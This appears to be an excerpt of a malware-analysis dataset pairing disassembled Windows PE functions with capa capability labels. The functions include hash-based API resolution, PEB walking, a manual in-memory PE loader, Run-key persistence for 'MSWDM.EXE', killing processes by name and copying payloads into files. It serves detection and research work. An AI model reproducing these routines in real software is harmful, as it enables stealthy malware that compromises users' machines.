joyce8/EMBER2024-capa huggingface dataset:
Function at 0x553e30
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x10
push ebx
mov ebx, ecx
mov dword [esp + 4], edx
push ebp
push esi
push edi
mov eax, dword [ebx + 0x3c]
xor esi, esi
add eax, 0x78
add eax, ebx
mov dword [esp + 0x1c], eax
mov edi, dword [eax]
mov eax, dword [edi + ebx + 0x1c]
add edi, ebx
add eax, ebx
mov dword [esp + 0x18], eax
mov ebp, dword [edi + 0x20]
mov eax, dword [edi + 0x24]
add ebp, ebx
add eax, ebx
mov dword [esp + 0x14], eax
cmp dword [edi + 0x18], esi
jbe 0x553e8c
lea esp, [esp]
mov ecx, dword [ebp + esi*4]
add ecx, ebx
call fcn.00553b50
xor eax, 0x347fecab
cmp eax, dword [esp + 0x10]
je 0x553e96
inc esi
cmp esi, dword [edi + 0x18]
jb 0x553e70
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
movzx eax, word [eax + esi*2]
mov ecx, dword [ecx + eax*4]
add ecx, ebx
cmp ecx, edi
jb 0x553ec4
mov eax, dword [esp + 0x1c]
mov eax, dword [eax + 4]
add eax, edi
cmp ecx, eax
jae 0x553ec4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
jmp 0x554090
pop edi
pop esi
pop ebp
mov eax, ecx
pop ebx
add esp, 0x10
ret
sub esp, 0x104
lea edx, [esp]
push esi
mov esi, ecx
push edi
mov al, byte [esi]
test al, al
je 0x5540b6
cmp al, 0x2e
je 0x5540b3
inc esi
mov byte [edx], al
inc edx
mov al, byte [esi]
test al, al
jne 0x5540a3
jmp 0x5540b6
mov byte [edx], 0
mov eax, dword [0x55db14]
test eax, eax
jne 0x5540da
mov ecx, 0xa028f2a0
call fcn.00553ed0
mov edx, 0xc347539c
mov ecx, eax
call fcn.00553e30
mov dword [0x55db14], eax
lea ecx, [esp + 8]
push ecx
call eax
mov edi, eax
test edi, edi
jne 0x554121
mov eax, dword [0x55dcb4]
test eax, eax
jne 0x55410b
mov ecx, 0xa028f2a0
call fcn.00553ed0
mov edx, 0xeb545747
mov ecx, eax
call fcn.00553e30
mov dword [0x55dcb4], eax
lea ecx, [esp + 8]
push ecx
call eax
mov edi, eax
test edi, edi
jne 0x554121
pop edi
pop esi
add esp, 0x104
ret
lea ecx, [esi + 1]
call fcn.00553b50
xor eax, 0x347fecab
mov ecx, edi
mov edx, eax
call fcn.00553e30
pop edi
pop esi
add esp, 0x104
ret
Function at 0x553ed0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
sub esp, 0x10
mov eax, dword fs:[0x30]
mov dword [esp + 0xc], ecx
push ebx
push ebp
mov ecx, dword [eax + 0xc]
add ecx, 0xc
push esi
push edi
mov dword [esp + 0x18], ecx
mov ebp, dword [ecx]
cmp ebp, ecx
je 0x554079
mov edx, dword [ebp + 0x30]
mov dword [esp + 0x14], 0x18e
add dword [esp + 0x14], 0x8fd9
shl dword [esp + 0x14], 0xf
add dword [esp + 0x14], 0xa98
xor dword [esp + 0x14], 0x48b38a98
mov dword [esp + 0x10], 0x9208
imul eax, dword [esp + 0x10], 0x75
mov dword [esp + 0x10], eax
shr dword [esp + 0x10], 0xb
or dword [esp + 0x10], 0x128383aa
imul eax, dword [esp + 0x10], 0x35
mov dword [esp + 0x10], eax
add dword [esp + 0x10], 0xffff3c94
imul eax, dword [esp + 0x10], 0x6f
mov dword [esp + 0x10], eax
xor dword [esp + 0x10], 0x74ad7137
mov dword [esp + 0x10], 0xeadf
shl dword [esp + 0x10], 9
shl dword [esp + 0x10], 0xd
imul eax, dword [esp + 0x10], 0x5d
mov dword [esp + 0x10], eax
add dword [esp + 0x10], 0xd479
imul eax, dword [esp + 0x10], 0x13
mov dword [esp + 0x10], eax
xor dword [esp + 0x10], 0x4e4fc4eb
cmp word [edx], 0
je 0x55405f
jmp 0x553fa0
mov ebx, dword [esp + 0x14]
mov dword [esp + 0x10], 0x9208
imul eax, dword [esp + 0x10], 0x75
mov dword [esp + 0x10], eax
shr dword [esp + 0x10], 0xb
or dword [esp + 0x10], 0x128383aa
imul eax, dword [esp + 0x10], 0x35
mov dword [esp + 0x10], eax
add dword [esp + 0x10], 0xffff3c94
imul eax, dword [esp + 0x10], 0x6f
mov dword [esp + 0x10], eax
xor dword [esp + 0x10], 0x74ad7137
movzx ecx, byte [esp + 0x10]
mov esi, dword [esp + 0x14]
mov dword [esp + 0x10], 0xeadf
shl dword [esp + 0x10], 9
shl dword [esp + 0x10], 0xd
imul eax, dword [esp + 0x10], 0x5d
shl esi, cl
mov dword [esp + 0x10], eax
add dword [esp + 0x10], 0xd479
imul eax, dword [esp + 0x10], 0x13
mov dword [esp + 0x10], eax
xor dword [esp + 0x10], 0x4e4fc4eb
movzx ecx, byte [esp + 0x10]
mov edi, dword [esp + 0x14]
movzx eax, word [edx]
shl edi, cl
cmp eax, 0x41
jb 0x55403e
cmp eax, 0x5a
ja 0x55403e
add eax, 0x20
mov dword [esp + 0x14], eax
add edx, 2
add dword [esp + 0x14], esi
add dword [esp + 0x14], edi
sub dword [esp + 0x14], ebx
cmp word [edx], 0
jne 0x553fa0
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
xor eax, 0x2f5614d2
cmp eax, dword [esp + 0x1c]
je 0x554083
mov ebp, dword [ebp]
cmp ebp, ecx
jne 0x553ef5
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret
mov eax, dword [ebp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x554350
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub esp, 0x14
push ebp
mov ebp, ecx
mov dword [esp + 0x10], ebp
push edi
cmp edx, 0x40
jb 0x5544ee
mov eax, 0x5a4d
cmp word [ebp], ax
jne 0x5544ee
mov edi, dword [ebp + 0x3c]
add edi, ebp
mov dword [esp + 0x18], edi
cmp dword [edi], 0x4550
jne 0x5544ee
mov eax, 0x10b
cmp word [edi + 0x18], ax
jne 0x5544ee
mov eax, dword [0x55db44]
test eax, eax
jne 0x5543bb
mov ecx, 0xa028f2a0
call fcn.00553ed0
mov edx, 0xdae4ae1
mov ecx, eax
call fcn.00553e30
mov dword [0x55db44], eax
push ebx
push 0x40
push 0x3000
push dword [edi + 0x50]
push 0
call eax
mov ebx, eax
test ebx, ebx
je 0x5544e5
movzx ecx, word [edi + 0x14]
push esi
lea esi, [edi + 0x18]
add esi, ecx
movzx ecx, word [edi + 6]
mov dword [esp + 0x18], esi
lea ecx, [ecx + ecx*4]
lea eax, [esi + ecx*8]
mov dword [esp + 0x14], eax
mov eax, dword [edi + 0x54]
mov dword [esp + 0x10], eax
mov eax, dword [0x55dc6c]
test eax, eax
jne 0x55441b
mov ecx, 0xfd7834c6
call fcn.00553ed0
mov edx, 0x9c233dc
mov ecx, eax
call fcn.00553e30
mov dword [0x55dc6c], eax
push dword [esp + 0x10]
push ebp
push ebx
call eax
mov ecx, dword [esp + 0x20]
add esp, 0xc
cmp esi, ecx
jae 0x55449e
sub ecx, dword [esp + 0x18]
mov eax, 0xcccccccd
dec ecx
add esi, 0x10
mul ecx
mov ecx, edx
shr ecx, 5
inc ecx
mov edi, ecx
mov ebp, dword [esi]
cmp dword [esi - 8], ebp
mov eax, dword [esi + 4]
cmovb ebp, dword [esi - 8]
add eax, dword [esp + 0x1c]
mov dword [esp + 0x18], eax
mov eax, dword [esi - 4]
add eax, ebx
mov dword [esp + 0x14], eax
mov eax, dword [0x55dc6c]
test eax, eax
jne 0x554486
mov ecx, 0xfd7834c6
call fcn.00553ed0
mov edx, 0x9c233dc
mov ecx, eax
call fcn.00553e30
mov dword [0x55dc6c], eax
push ebp
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call eax
add esp, 0xc
add esi, 0x28
dec edi
jne 0x554445
mov edi, dword [esp + 0x20]
mov edx, edi
mov ecx, ebx
call fcn.00554620
mov edx, edi
mov ecx, ebx
call fcn.00554530
pop esi
test eax, eax
jne 0x5544e5
mov eax, dword [0x55dfc4]
test eax, eax
jne 0x5544d9
mov ecx, 0xa028f2a0
call fcn.00553ed0
mov edx, 0xce8d33fc
mov ecx, eax
call fcn.00553e30
mov dword [0x55dfc4], eax
push 0x8000
push 0
push ebx
call eax
xor ebx, ebx
mov eax, ebx
pop ebx
pop edi
pop ebp
add esp, 0x14
ret
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
Function at 0x407da8
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
push 0
push 0
push 0
cld
call dword es:[sym.imp.KERNEL32.dll_GetShortPathNameW]
sub eax, 2
mov edx, dword [ecx]
imul eax, edx
cmp al, 0x7c
jne 0x407df5
lea eax, [esp + 4]
push eax
push esp
push 1
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
cmp eax, dword [edx + ebp]
je 0x407e39
mov eax, 0x407df0
lea eax, [edx + eax]
push ebp
push eax
push 0
call sub.KERNEL32.dll_EnumResourceTypesW
jmp 0x407e39
cmc
nop
mov eax, esp
lea eax, [eax + 8]
mov ecx, eax
or eax, dword [ecx]
and eax, dword [ecx]
cld
or eax, 7
xchg dword [esp + 0xc], edx
lea eax, es:[eax + 0x78968d]
sub eax, 0x783648
xacquire lock add dword es:[edx - 0x1b4], eax
mov ecx, dword [esp]
sub esp, 0xffffffec
mov eax, 0
mov dx, cs
push dx
push ecx
retf
add byte [eax], al
add byte [eax], al
insd dword es:[edi], dx
and byte [eax], al
ret

Function at 0x40e725
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword [ecx + 0x3c]
stc
nop
jb 0x410166
add byte [edx + 0x71f59600], al
jno 0x40e17c
push dword [ebp + 0x24]
stc
nop
jb 0x40e289
mov bh, 0
add bl, ah
add byte [edi], bl
mov ecx, dword fs:[0x30]
nop
cld
jmp 0x40f24a
pushal
nop
cld
jmp 0x40f2db
and esp, dword [ecx + 4]
push edi
mov ecx, ebx
stc
nop
jb 0x410741
add dword [eax], 0xd1006800
jne 0x40f32c
dec ecx
nop
cld
jmp 0x41079a
xchg dword [esp], edi
ret
add ecx, dword [ebx + 0x3c]
stc
nop
jb 0x40e141
add byte [edi - 0x6a1d6c00], dh
test al, 0xf
test byte [ecx - 0x15], dh
invalid
je 0x410717
stc
nop
jb 0x40e1c1
imul edi, dword [esi + 0x15], 0xffffff91
fisttp dword [ebx - 0x1140a8ee]
int1
inc eax
add byte [edi - 0x4a3cdbc4], al
popal
inc esp
add byte [ebx + 0x6d], dl
Function at 0x429780
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
push eax
mov eax, dword [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x10]
push edx
mov edx, dword [esp + 0x10]
push eax
push ecx
push 0xca62c1d6
push 0x8f1bbcdc
push 0x6ed9eba1
push 0x5a827999
push edx
call fcn.00429b30
ret 0x18

Function at 0x429a10
Capabilities:
Hash data using sha1

Disassembly:
mov ecx, dword [esp + 4]
mov eax, ecx
and eax, 0xfffffff
imul eax, eax, 8
jo 0x429a30
test ecx, 0x10000000
je 0x429a2d
or eax, 0x80000000
ret 4
call dword [sym.imp.MSVBVM60.DLL___vbaErrorOverflow]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x429a40
Capabilities:
Hash data using sha1

Disassembly:
mov ecx, dword [esp + 4]
mov eax, ecx
and eax, 0x3fffffff
imul eax, eax, 2
jo 0x429a6a
test ecx, 0x40000000
je 0x429a5d
or eax, 0x80000000
test ecx, 0x80000000
je 0x429a67
or al, 1
ret 4
call dword [sym.imp.MSVBVM60.DLL___vbaErrorOverflow]

Function at 0x429a70
Capabilities:
Hash data using sha1

Disassembly:
push esi
mov esi, dword [esp + 8]
mov ecx, esi
mov eax, esi
and ecx, 0x3ffffff
imul ecx, ecx, 0x20
jo 0x429aae
and eax, 0xf8000000
cdq
and edx, 0x7ffffff
add eax, edx
sar eax, 0x1b
and eax, 0x1f
or ecx, eax
test esi, 0x4000000
pop esi
je 0x429aa9
or ecx, 0x80000000
mov eax, ecx
ret 4
call dword [sym.imp.MSVBVM60.DLL___vbaErrorOverflow]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x429ac0
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
mov edx, eax
xor edx, ecx
jge 0x429ad5
add eax, ecx
jo 0x429ae6
ret 8
xor eax, 0x80000000
add eax, ecx
jo 0x429ae6
xor eax, 0x80000000
ret 8
call dword [sym.imp.MSVBVM60.DLL___vbaErrorOverflow]
nop
nop
nop
nop

Function at 0x429af0
Capabilities:
Hash data using sha1

Disassembly:
push ebx
mov ebx, dword [esp + 8]
mov ecx, ebx
mov eax, ebx
and ecx, 1
imul ecx, ecx, 0x40000000
jo 0x429b27
and al, 0xfc
cdq
and edx, 3
add eax, edx
sar eax, 2
and eax, 0x3fffffff
or ecx, eax
test bl, 2
pop ebx
je 0x429b22
or ecx, 0x80000000
mov eax, ecx
ret 4
call dword [sym.imp.MSVBVM60.DLL___vbaErrorOverflow]
nop
nop
nop
Function at 0x40107c
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push edi
push ebx
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 2
push ebx
push 0xfffffffffffffffc
push dword [esi + 8]
mov dword [ebp - 8], eax
mov dword [esi + 4], ebx
call edi
lea eax, [ebp - 4]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
push eax
lea eax, [ebp - 0x50]
push 4
push eax
push dword [esi + 8]
call ebx
test eax, eax
je 0x4011f2
lea eax, [ebp - 0x50]
push 2
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.00403f40
lea eax, [ebp - 0x4e]
push 2
push eax
lea eax, [ebp + 0xa]
push eax
call fcn.00403f40
add esp, 0x18
push dword [ebp - 0xc]
call fcn.0040121d
cmp word [ebp + 0xa], ax
je 0x40110b
mov ecx, dword [ebp - 8]
and dword [esi], 0
push 1
mov dword [esi + 0xc], ecx
pop eax
mov dword [esi + 4], eax
jmp 0x401216
push 2
push 0
push 0xfffffffffffffffa
mov dword [esi], 1
push dword [esi + 8]
call edi
lea eax, [ebp - 4]
push 0
push eax
lea eax, [ebp - 0x50]
push 2
push eax
push dword [esi + 8]
call ebx
test eax, eax
je 0x4011f2
lea eax, [ebp - 0x50]
push 2
push eax
lea eax, [esi + 0x20]
push eax
call fcn.00403f40
add esp, 0xc
push 2
push 0
push 0xfffffffffffffff6
push dword [esi + 8]
call edi
lea eax, [ebp - 4]
push 0
push eax
lea eax, [ebp - 0x50]
push 4
push eax
push dword [esi + 8]
call ebx
test eax, eax
je 0x4011f2
lea ecx, [ebp - 0x50]
lea eax, [esi + 0xc]
push 4
push ecx
push eax
call fcn.00403f40
add esp, 0xc
push 0xfffffffffffffff2
pop eax
push 2
push 0
push eax
mov dword [ebp - 0x10], eax
push dword [esi + 8]
call edi
lea eax, [ebp - 4]
push 0
push eax
lea eax, [ebp - 0x50]
push 4
push eax
push dword [esi + 8]
call ebx
test eax, eax
je 0x4011f2
lea ecx, [ebp - 0x50]
lea eax, [esi + 0x18]
push 4
push ecx
push eax
call fcn.00403f40
mov ecx, dword [esi + 0x18]
add esp, 0xc
test ecx, ecx
jbe 0x4011cd
mov eax, dword [ebp - 8]
push 0xfffffffffffffff2
sub eax, ecx
sub eax, 0xe
mov dword [esi + 0x1c], eax
pop eax
sub eax, ecx
jmp 0x4011d0
mov eax, dword [ebp - 0x10]
push 2
add eax, 0xfffffffc
push 0
push eax
push dword [esi + 8]
call edi
lea eax, [ebp - 4]
push 0
push eax
lea eax, [ebp - 0x50]
push 4
push eax
push dword [esi + 8]
call ebx
test eax, eax
jne 0x4011f6
xor eax, eax
jmp 0x401216
lea eax, [ebp - 0x50]
lea edi, [esi + 0x10]
push 4
push eax
push edi
call fcn.00403f40
add esp, 0xc
cmp dword [edi], 0
jbe 0x401213
mov eax, dword [esi + 0xc]
mov dword [esi + 0x14], eax
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40127d
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
lea eax, [esp + 0xc]
push edi
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionRun
push eax
mov edi, reloc.WS2_32.dll_bind
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x4012af
lea eax, [esp + 0x10]
push eax
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x40132d
mov esi, str.MSWDM.EXE
push esi
call fcn.00404280
pop ecx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
push esi
push 1
mov ebp, 0x40d068
push 0
push ebp
push dword [esp + 0x24]
call ebx
test eax, eax
jne 0x40132d
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x14]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRunServices
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x40130b
lea eax, [esp + 0x14]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRunServices
push edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x40132d
push esi
call fcn.00404280
pop ecx
push eax
push esi
push 1
push 0
push ebp
push dword [esp + 0x28]
call ebx
test eax, eax
jne 0x40132d
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret

Function at 0x4013d3
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
push edi
mov esi, 0x100
xor edi, edi
push esi
lea eax, [ebp - 0x104]
push edi
push eax
call fcn.00403ee0
add esp, 0xc
lea eax, [ebp - 0x104]
push esi
push eax
call fcn.0040150d
push edi
push 2
push 2
push edi
push 1
lea eax, [ebp - 0x104]
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401428
xor eax, eax
jmp 0x40148e
push ebx
push dword [0x40e454]
push edi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push edi
push edi
push edi
mov ebx, eax
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 4]
push edi
push eax
push dword [0x40e454]
push ebx
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401484
lea eax, [ebp - 4]
push edi
push eax
push dword [0x40e454]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401484
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop ebx
pop edi
pop esi
leave
ret

Function at 0x40150d
Capabilities:
Get common file path

Disassembly:
push dword [esp + 8]
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.mswdm.exe
push dword [esp + 8]
call fcn.00404440
push dword [esp + 0xc]
call fcn.00404384
add esp, 0xc
ret 8
Function at 0x4015c3
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x800
push ebx
push esi
xor esi, esi
push edi
mov ebx, 0x100
push esi
lea eax, [ebp - 0x200]
push ebx
push eax
call fcn.00403ee0
add esp, 0xc
lea eax, [ebp - 0x200]
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x40171f
push ebx
lea eax, [ebp - 0x400]
push esi
push eax
call fcn.00403ee0
push ebx
lea eax, [ebp - 0x100]
push esi
push eax
call fcn.00403ee0
add esp, 0x18
lea eax, [ebp - 0x400]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x100]
push eax
push esi
lea eax, [ebp - 0x400]
push str.device
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
sub esp, 0x28
mov esi, 0x40e448
lea eax, [ebp - 0x100]
push 0xa
pop ecx
mov edi, esp
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00401f75
xor edi, edi
push ebx
lea eax, [ebp - 0x300]
push edi
push eax
call fcn.00403ee0
add esp, 0xc
lea eax, [ebp - 0x300]
push ebx
push eax
call fcn.0040150d
push 0x400
lea eax, [ebp - 0x800]
push edi
push eax
call fcn.00403ee0
lea eax, [ebp - 0x800]
push str.__r_
push eax
call fcn.00404440
lea eax, [ebp - 0x100]
push eax
lea eax, [ebp - 0x800]
push eax
call fcn.00404440
mov esi, 0x40d0b8
lea eax, [ebp - 0x800]
push esi
push eax
call fcn.00404440
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x800]
push eax
call fcn.00404440
lea eax, [ebp - 0x800]
push 0x40d0b4
push eax
call fcn.00404440
push dword [ebp + 8]
lea eax, [ebp - 0x800]
push eax
call fcn.00404440
lea eax, [ebp - 0x800]
push esi
push eax
call fcn.00404440
add esp, 0x44
lea eax, [ebp - 0x800]
push edi
push eax
lea eax, [ebp - 0x300]
push eax
call fcn.00403a39
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4

Function at 0x401728
Capabilities:
Enumerate processes
Terminate process
Terminate process by name

Disassembly:
push ecx
push ebp
push esi
push edi
mov edi, 0x128
push edi
call fcn.004045cc
pop ecx
mov esi, eax
push 0
push 2
mov dword [esi], edi
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebp, dword [esp + 0x14]
mov dword [esp + 0xc], eax
push ebp
call fcn.00404384
pop ecx
push esi
push dword [esp + 0x10]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4017be
push ebx
lea ebx, [esi + 0x24]
push ebx
call fcn.00404384
push ebp
call fcn.00404280
mov edi, ebx
push ebx
sub edi, eax
call fcn.00404280
push ebp
add edi, eax
call fcn.00404280
push eax
push ebp
push edi
call fcn.00404520
add esp, 0x1c
test eax, eax
jne 0x4017ac
push dword [esi + 8]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x4017ac
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
push dword [esp + 0x14]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401766
push 1
pop eax
pop ebx
pop edi
pop esi
pop ebp
pop ecx
ret 4
Function at 0x4019ea
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
call section..text
test eax, eax
je 0x401ba7
push 0x40e448
call fcn.0040107c
test eax, eax
je 0x401ba7
xor esi, esi
push esi
push esi
push esi
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0x80
push 2
push esi
push 1
push 0xc0000000
push dword [ebp + 0xc]
call ebx
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x401ba7
push dword [0x40e454]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [0x40e454]
mov edi, eax
mov dword [ebp - 8], edi
push esi
push edi
call fcn.00403ee0
add esp, 0xc
lea eax, [ebp - 4]
push esi
push eax
push dword [0x40e454]
push edi
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x401a94
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x401ba7
lea eax, [ebp - 4]
push esi
push eax
push dword [0x40e454]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x10]
call edi
push dword [ebp - 8]
test eax, eax
je 0x401a89
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
push 0x80
push 3
push esi
push 1
push 0xc0000000
push dword [ebp + 8]
call ebx
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x401ab8
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
push eax
call ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push esi
push eax
push esi
push dword [ebp - 0xc]
call ebx
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x401b0e
push dword [ebp - 8]
jmp 0x401a89
mov eax, dword [ebp - 4]
push dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 4]
mov ebx, dword [ebp - 0x10]
push esi
push eax
push dword [ebp - 0x14]
push dword [ebp - 8]
push ebx
call edi
push dword [ebp - 8]
test eax, eax
je 0x401a89
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x14]
push 4
push eax
push ebx
call edi
test eax, eax
je 0x401ba7
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x18]
push 4
push eax
push ebx
mov dword [ebp - 0x18], esi
call edi
test eax, eax
je 0x401ba7
lea eax, [ebp - 4]
push esi
push eax
push 4
push 0x40e454
push ebx
call edi
test eax, eax
je 0x401ba7
lea eax, [ebp - 4]
push esi
push eax
push 2
push 0x40b200
push ebx
call edi
test eax, eax
je 0x401ba7
lea eax, [ebp - 0x1c]
push eax
call fcn.00403e95
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x1c]
push 4
push eax
push ebx
call edi
test eax, eax
jne 0x401bab
xor eax, eax
jmp 0x401bc0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
push dword [ebp + 0xc]
call fcn.00401ff3
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 8